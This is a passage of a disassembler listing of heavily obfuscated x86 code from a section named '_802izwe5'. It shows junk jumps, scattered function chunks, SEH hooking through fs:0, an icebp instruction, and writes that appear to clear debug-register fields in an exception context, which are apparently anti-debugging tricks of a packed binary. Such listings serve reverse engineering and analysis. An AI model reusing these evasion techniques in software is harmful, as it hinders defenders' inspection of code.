dword_43BA94	dd 3F4FC081h			db 0D0h, 69h
word_43BA9A	dw 0E9h			; DATA XREF: sub_439ED1+270o
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	0
		push	offset dword_43BD24
		jmp	locret_43E9D2
; ---------------------------------------------------------------------------
		align 2


loc_43BAAA:				; CODE XREF: _802izwe5:loc_43EAC0j
		pop	ecx
		and	ecx, 761C4EFCh
		or	ecx, 47765D44h
		test	ecx, 100h
		jmp	loc_43CBAE
; ---------------------------------------------------------------------------
		dw 0CC8Bh
		dd 10C181h, 0F6E80000h,	5
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C6


loc_43BAD1:				; CODE XREF: sub_43E4C6+Bj
		jmp	loc_43A12E
; END OF FUNCTION CHUNK	FOR sub_43E4C6
; ---------------------------------------------------------------------------
		align 4
		db  87h	; ‡
		db  0Ch
		db  24h	; $
		db  59h	; Y
		db  87h	; ‡
		db    4
		db  24h	; $
		db 0E8h	; è
		db  0Dh
		db  3Ah	; :
		db    0
		db    0
		db 0E9h	; é
		db  52h	; R
		db  2Ch	; ,
		db    0
		db    0
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_43BAEA	proc near		; CODE XREF: sub_43C65A+30Ep

; FUNCTION CHUNK AT 0043799B SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0D8E0662Fh
		xchg	ebp, [esp+0]
		jmp	loc_43799B
sub_43BAEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 39CDE8h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		dd 0FFE6AFE9h, 3D1E9FFh, 5FC30000h, 0E8E7E781h,	0C781AE92h
		dd 12FBC9F2h, 0E95FD703h, 0FFFFD29Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BB26:				; CODE XREF: sub_439ED1:loc_43BDB1j
		push	438FAFh
		jmp	nullsub_50
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43BB32:				; CODE XREF: sub_43C65A+23Ej
		push	ecx
		jmp	loc_43733B
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43BB3A:				; CODE XREF: _802izwe5:loc_43F98Aj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43F806
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BB41:				; CODE XREF: sub_439ED1+1605j
		xor	ecx, 0AC5BB3D3h
		pushf
		mov	ebx, edx
		jmp	loc_43AC73
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BB51:				; CODE XREF: sub_439ED1:loc_43B832j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43E9BA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 14E1C100h, 3A1E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B954


loc_43BB76:				; CODE XREF: sub_43B954:loc_43B95Aj
		mov	byte ptr [ebx],	87h
		pop	ebx
		and	eax, 159759F6h
		or	eax, 19BA5919h
		jmp	near ptr loc_43880A+1
; END OF FUNCTION CHUNK	FOR sub_43B954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E9D9


loc_43BB8B:				; CODE XREF: sub_43E9D9-829j
		rol	eax, 0Ah
		and	eax, 2013F9Dh
		test	eax, 2000000h
		jmp	near ptr dword_437EF4+0Eh
; END OF FUNCTION CHUNK	FOR sub_43E9D9
; ---------------------------------------------------------------------------
		align 10h
		dd 0EBE9D0F7h, 0FFFFF0h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43BBA9:				; CODE XREF: sub_43C65A:loc_43E216j
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43C89E
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43BBC8:				; CODE XREF: sub_43DA03+10j
		jle	loc_43A7B8
		xor	ecx, edi
		sbb	ecx, 16DFFAB7h
		jmp	loc_4376E1
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		align 4
		dd 0C1FE2B00h, 0C7C109EFh, 0F7E78112h, 0F802C6Ah, 0FFCFA285h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391DC


loc_43BBF3:				; CODE XREF: sub_4391DC+6085j
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_4391DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BBF8:				; CODE XREF: sub_439ED1-4E9j
		jmp	loc_43A667
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0B8h
		dd 0F22B9515h, 0FFD68BE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BC0A:				; CODE XREF: sub_439ED1:loc_43863Aj
		mov	ebp, eax
		arpl	word ptr [esp+8+var_8],	bp
		call	sub_43C604
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43BC16:				; CODE XREF: _802izwe5:0043F1E0j
		jmp	locret_43C14D
; ---------------------------------------------------------------------------
		align 4
		dd 0FFB586E9h, 243C87FFh, 815FDF8Bh, 7621BBEBh,	0C5C381F3h
		dd 81A0AE35h, 5A5D38CBh, 0BE096892h, 1FE90043h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43BC43:				; CODE XREF: _802izwe5:loc_43DDDDj
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_438FE2
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_43BC55:				; CODE XREF: sub_43E3D6+1Aj
		jmp	loc_437C71
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BC5C:				; CODE XREF: sub_439ED1-1D9Cj
		jmp	loc_43A026
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0E9h, 0FCh, 0C9h
		dd 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_43BC68	proc near		; CODE XREF: _802izwe5:0043AEAAp
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_438DB4+8
sub_43BC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43BC7E	proc near		; CODE XREF: sub_43D600+7C2p
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr word_43D02E
sub_43BC7E	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BC91:				; CODE XREF: sub_439ED1+2E01j
		and	eax, 8795F5F8h
		push	offset loc_437B38
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		ror	ebp, 0Bh
		jmp	loc_43DD70
; ---------------------------------------------------------------------------
		align 2
		mov	byte ptr [esi],	9Ch
		xchg	ebx, [esp]
		mov	esi, ebx
		sbb	ebx, 8C959A7Ah
		jmp	loc_43D77F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43BCBF:				; CODE XREF: _802izwe5:00437DB3j
		pop	edi
		or	edi, 123DE1A4h
		and	edi, 236B6BB1h
		add	edi, 0DDDA393Bh
		jmp	loc_43A122
; ---------------------------------------------------------------------------
		db 50h
		dd 43788FB8h, 0C11FE900h, 8B00FFFFh, 240C87E5h,	0E1C1E98Bh
		dd 135CE905h
		db 3 dup(0)
byte_43BCF3	db 8Bh			; DATA XREF: sub_43F18B-262Ao
		dd 27689D1Bh, 0E90043B4h, 0FFFFC54Dh, 4C181h, 1890000h
		dd 4C181h, 1890000h, 0A0C181h, 1C70000h, 43A8A6h, 41E9C033h
		dd 0FFFFE5h
dword_43BD24	dd 0D7D1800Fh, 9668FFFFh, 8722C991h, 0C18B240Ch, 0F1E95659h
					; DATA XREF: _802izwe5:0043BA9Fo
		dd 5AFFFFE4h, 45F1E281h, 0EA812282h, 7DBFD24Eh,	7126CA81h
		dd 6CE9CF48h, 24h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BD55:				; CODE XREF: sub_439ED1+5639j
		jnp	loc_438054
		pop	dword ptr fs:0
		xchg	eax, [esp+8+var_8]
		pop	eax
		xor	edx, eax
		dec	ecx


loc_43BD68:				; DATA XREF: sub_43C65A-49F3o
		fadd	dword ptr [ebp+67h]
		call	near ptr sub_437BE6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
		dd 0DF60E900h, 0E900FFFFh, 0FFFFD63Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43BD82:				; CODE XREF: sub_43C65A-4E4Ej
		jmp	loc_4376B3
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4


loc_43BD88:				; CODE XREF: _802izwe5:0043C32Aj
		not	esi
		jmp	loc_43D739
; ---------------------------------------------------------------------------
		db 87h
		dd 0C18B240Ch, 0D524E859h, 53E9FFFFh, 0FFFFE2h,	0BAC78100h
		dd 323FBEBh, 0D9E85FCFh, 0FFFFB9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BDB1:				; CODE XREF: sub_439ED1+9A5j
		jmp	loc_43BB26
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BDB8:				; CODE XREF: sub_439ED1+54B1j
		mov	byte ptr [edi],	3
		xchg	ebp, [esp-1Ch+arg_14]
		mov	edi, ebp
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_439ED1
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43BDC1:				; CODE XREF: sub_43F688:loc_437F0Fj
		mov	[ebp+eax-20h], dl
		push	ecx
		jmp	loc_43D67D
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437E4F


loc_43BDCB:				; CODE XREF: sub_437E4F:loc_43986Dj
		dec	edi
		or	[edx-0E0D0B08h], edi
		xor	eax, eax
		cld
; END OF FUNCTION CHUNK	FOR sub_437E4F
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BDD5:				; CODE XREF: sub_439ED1:loc_43B0B8j
					; sub_43B32C+1j ...
		call	loc_43A310
		jmp	loc_43CADF
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		add	esi, eax
		jmp	loc_43E255
; ---------------------------------------------------------------------------
		align 4
		jno	loc_43EEA2
		xchg	ecx, [esp]
		pop	ecx
		push	4481E827h
		xchg	edi, [esp]
		jmp	loc_437C3B
; ---------------------------------------------------------------------------
		align 10h
		dd 0AEE95100h, 0FFFFEDh, 0B6C38100h, 0E8735A82h, 0D41h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BE15:				; CODE XREF: sub_439ED1+437Ej
		jmp	loc_43A9A8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 31A5h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BE23:				; CODE XREF: sub_439ED1+44D3j
		jmp	near ptr dword_43729C+33h
; ---------------------------------------------------------------------------


loc_43BE28:				; CODE XREF: sub_439ED1-921j
		jmp	loc_438EE5
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 87h,	0F0h, 0E9h
		dd 0FFFFDE9Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43BE36:				; CODE XREF: _802izwe5:004376DAj
		jp	loc_43E495

; =============== S U B	R O U T	I N E =======================================



sub_43BE3C	proc near		; CODE XREF: sub_4390D8:loc_43CDBCp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438772 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439063 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00439171 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043958E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439999 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C250 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043CA8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D351 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D65F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043D8C2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043EE26 SIZE 0000001D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	6F83CC4Dh
		jmp	loc_43C250
sub_43BE3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43BE4A:				; CODE XREF: _802izwe5:0043768Ej
		jnz	loc_43D01A
		cmp	ebp, 65261D41h
		jmp	loc_439EB7
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43BE5C:				; CODE XREF: sub_43C65A+10BDj
		cmpsd
		aad	81h
		retn	5F9Bh
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dw 6F11h
		dd 43AF5068h, 0C771E900h, 5300FFFFh, 0A5E9D92Bh, 1Eh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BE79:				; CODE XREF: sub_439ED1-1A05j
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		push	offset loc_43E994
		jmp	loc_43CE50
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		dd 0BD850F00h, 0E9FFFFFAh, 0FFFFE897h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
		align 10h


loc_43BEA0:				; CODE XREF: _802izwe5:0043F52Dj
		jmp	loc_43E237
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_43BEA6:				; CODE XREF: sub_43C50C+2A97j
		jmp	loc_43F8F5
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------


loc_43BEAB:				; CODE XREF: _802izwe5:0043CDB5j
		jmp	loc_4395F7
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BEB1:				; CODE XREF: sub_439ED1-A77j
		jmp	loc_43F406
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C04


loc_43BEB7:				; CODE XREF: sub_438C04:loc_437B4Cj
		xchg	eax, [esp+8+var_8]
		push	ebx
		push	85BBADA6h
		pop	ebx
		rol	ebx, 19h
		xor	ebx, 4D0B765Bh
		jmp	loc_43E6C4
; END OF FUNCTION CHUNK	FOR sub_438C04
; ---------------------------------------------------------------------------
byte_43BECF	db 0C6h			; DATA XREF: sub_439ED1:loc_43A4ABo
		dd 685E8706h, 43D611h, 0FFB901E9h, 8B0000FFh, 10C181CCh
		dd 8B000000h, 1301C709h, 33000100h, 4C181C0h, 89000000h
		dd 4C18101h, 0E9000000h, 0FFFFE0BBh, 3F5860Fh, 0DB810000h
		dd 6246248Eh, 41BE9h, 879D0000h, 6859240Ch, 0F54D86EDh
		dd 134EE9h
		db 0
		db  51h	; Q
		db 0E9h	; é
		db  50h	; P
		db  14h
		db    0
		db    0
; ---------------------------------------------------------------------------
		sub	eax, 3426FB76h
		js	loc_43F0BD
; START	OF FUNCTION CHUNK FOR sub_43CAE5


loc_43BF37:				; CODE XREF: sub_43CAE5+Cj
		jmp	loc_43D9E6
; END OF FUNCTION CHUNK	FOR sub_43CAE5
; ---------------------------------------------------------------------------
		jmp	locret_43CAAD
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BF43:				; CODE XREF: sub_439ED1-1F59j
		jmp	loc_43999E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0DF810000h, 1B1BC4E3h, 8D0FDE03h, 0FFFFCF35h, 5EE99C99h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43BF5F:				; DATA XREF: sub_437E10+7o
		pop	ebp
		push	esp
		jmp	locret_437328
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 1AD0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BF6E:				; CODE XREF: sub_439ED1+4BA7j
		jmp	loc_4376AD
; ---------------------------------------------------------------------------


loc_43BF73:				; CODE XREF: sub_439ED1:loc_43ABE5j
		jmp	loc_43E7BB
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43BF78:				; CODE XREF: sub_43DA03-6312j
		jmp	loc_43A31B
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
; ---------------------------------------------------------------------------
		xlat
		jmp	loc_43A1E2
; ---------------------------------------------------------------------------
		jb	loc_437C79
		jmp	loc_43A5E9
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_438E1C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43BF9A:				; CODE XREF: sub_43DA03+C89j
		jnz	loc_437DC9
		jmp	loc_438D18
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43BFA6:				; CODE XREF: sub_43C65A:loc_43E1F1j
		lock icebp
		jmp	loc_43EBEB
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------


loc_43BFAD:				; CODE XREF: _802izwe5:loc_43E495j
					; DATA XREF: _802izwe5:00438AB6o
		push	eax
		push	0E1B2E0E7h
		pop	eax
		or	eax, 63DCEA9Eh
		rol	eax, 0Eh
		add	eax, 4583E7D5h
		xchg	eax, [esp]
		jmp	loc_43D4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43BFCB:				; CODE XREF: sub_439ED1-A98j
		add	eax, 1F76F798h
		jge	short $+2
		call	sub_437775


loc_43BFD8:				; CODE XREF: sub_43F18B-2625j
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		dw 4DE9h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390D8


loc_43BFE3:				; CODE XREF: sub_4390D8+9j
		jmp	loc_43CDBC
; END OF FUNCTION CHUNK	FOR sub_4390D8

; =============== S U B	R O U T	I N E =======================================



sub_43BFE8	proc near		; CODE XREF: sub_439ED1+BD7p
		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 97BBACFDh
		add	eax, ebp
		push	offset dword_43BA94
		jmp	nullsub_18
sub_43BFE8	endp

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43BFFF	proc near		; CODE XREF: _802izwe5:loc_439C38p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438268 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004389B9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00439A17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DCB3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E5B4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043EBD9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F6F8 SIZE 00000016 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		push	edx
		push	8DAE2201h
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		jmp	loc_43DCB3
sub_43BFFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43C016:				; CODE XREF: sub_43DA03-61CFj
		call	sub_43C4C7
		jmp	loc_43A8BB
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C022:				; CODE XREF: sub_439ED1:loc_43AA5Cj
		mov	byte ptr [eax],	9Dh
		xchg	edi, [esp-14h+arg_C]
		mov	eax, edi
		pop	edi
		xchg	ebp, [esp-18h+arg_10]
		jmp	loc_43941F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43C034	proc far		; CODE XREF: sub_43BFFF+2BE2p

; FUNCTION CHUNK AT 00439D3F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AF6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B28B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043B494 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B537 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D28E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EA52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F0F4 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ecx], eax
		push	edx
		push	4F381904h
		pop	edx
		or	edx, 41CF417Dh
		jmp	loc_43AF6A
sub_43C034	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C0815800h, 32CEF66Eh, 4BDFE881h, 0C0814B5Ah, 81C00D95h
		dd 0BC5FF081h, 0C8035CCEh, 0D76FE958h, 0FFFFh, 0FD81CA1Bh
		dd 0C8027A9Ch, 0B38E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43C07F:				; CODE XREF: _802izwe5:00437EE0j
		jle	loc_438DF9


loc_43C085:				; CODE XREF: _802izwe5:00437DEEj
		rol	edi, 1Bh
		xor	edi, 0C4937141h
		add	edi, 0AF022ACAh
		xchg	edi, [esp]
		das
		adc	eax, offset dword_4270C0
		push	offset sub_438989
		jmp	loc_43F98A
; ---------------------------------------------------------------------------


loc_43C0A7:				; CODE XREF: _802izwe5:loc_43BA7Ej
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		jmp	loc_43C14E
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43C0C5	proc near		; CODE XREF: _802izwe5:0043F297j

; FUNCTION CHUNK AT 0043D5A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EBAB SIZE 00000015 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax	; CODE XREF: sub_43C109:loc_43C113j
		add	ecx, 4
		jmp	loc_43EBAB
sub_43C0C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 1EBBF081h, 0E3813F05h, 0AD854DB0h, 0FFE71BE9h, 0B4E781FFh
		db 4Fh,	0C2h, 9Ah

; =============== S U B	R O U T	I N E =======================================



sub_43C0FF	proc far
		xchg	eax, [esp+0]
		pop	eax
		push	esi
		jmp	loc_43A40B
sub_43C0FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C109	proc near		; CODE XREF: _802izwe5:00439627p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043D7DD SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, 68A6A309h


loc_43C113:				; DATA XREF: sub_438378:loc_43F445o
		jnp	short near ptr loc_43C0D9+1
		add	eax, 0C7585CE8h
		mov	eax, [eax]
		pop	ecx
		jmp	loc_43D7DD
sub_43C109	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4


loc_43C124:				; CODE XREF: _802izwe5:loc_43D05Bj
		pop	edx
		push	37E8F2ACh
		pop	eax
		sub	eax, 0D411F1AEh
		rol	eax, 3
		or	eax, 0DCD3D2F5h
		sub	eax, 70D3D977h
		add	eax, 921BC35Bh
		jmp	loc_439E25
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_43C14D:				; CODE XREF: _802izwe5:loc_43BC16j
		retn
; ---------------------------------------------------------------------------


loc_43C14E:				; CODE XREF: _802izwe5:0043C0BFj
		jmp	loc_43F1CD
; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43C155	proc near		; CODE XREF: sub_439ED1+3C8Ep
		xchg	edx, [esp+0]
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		push	0BB576C1Dh
		pop	edx
		jmp	near ptr dword_439304+9
sub_43C155	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C169	proc near		; DATA XREF: _802izwe5:0043ED60o

; FUNCTION CHUNK AT 0043CA3D SIZE 0000000A BYTES

		push	edi
		push	0B91172ADh
		pop	edi
		xor	edi, 0C987412Bh
		or	edi, 5B1194Bh
		rol	edi, 5
		add	edi, 495C2740h
		jmp	loc_43CA3D
sub_43C169	endp

; ---------------------------------------------------------------------------
		align 4
		sub	esi, ecx
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C18E:				; CODE XREF: sub_439ED1:loc_43772Ej
		xor	ecx, 0D48B4B65h
		add	ecx, 0B2F894Bh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0CD62h
		dd 2BF3C181h, 1899D2Dh,	43DCCA68h, 0CB2BE900h, 8900FFFFh
		dd 4C18101h, 89000000h,	4C18101h, 89000000h, 0A0C18101h
		dd 0C7000000h, 43A6CC01h, 0E620E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C1D2:				; CODE XREF: _802izwe5:loc_439E25j
					; DATA XREF: sub_43DA03:loc_43782Fo
		inc	ebp
		add	al, 24h
		jmp	near ptr sub_43D93F
; ---------------------------------------------------------------------------
		dw 0C300h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C1DE:				; CODE XREF: _802izwe5:loc_437E5Ej
					; _802izwe5:0043EC83j
		push	eax
		push	0D43FB67Fh
		jmp	loc_43E69B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C1EB:				; CODE XREF: _802izwe5:0043ADE2j
		push	edx
		cmp	eax, 0BED9F213h
		jmp	near ptr dword_439B78+18h
; ---------------------------------------------------------------------------
		align 4
		dd 1FE3C100h, 5F243C87h, 87CA8B51h, 2E9240Ch
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C20B:				; CODE XREF: _802izwe5:0043B816j
		not	edi
		rol	eax, 8
		sub	eax, 87DE6C48h
		add	eax, 63C3E180h
		jmp	loc_438F72
; ---------------------------------------------------------------------------
		mov	esi, ebp
		jmp	near ptr sub_43EB57
; ---------------------------------------------------------------------------
		test	eax, 0B12332ABh
		jmp	loc_43E4C0
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C236:				; CODE XREF: sub_439ED1+1BBDj
		and	edx, ecx
		sbb	edi, 6A9FF2FCh
		pop	edi


loc_43C23F:				; DATA XREF: _802izwe5:00438558o
		pop	dword ptr fs:0
		xchg	eax, [esp+14h+var_14]
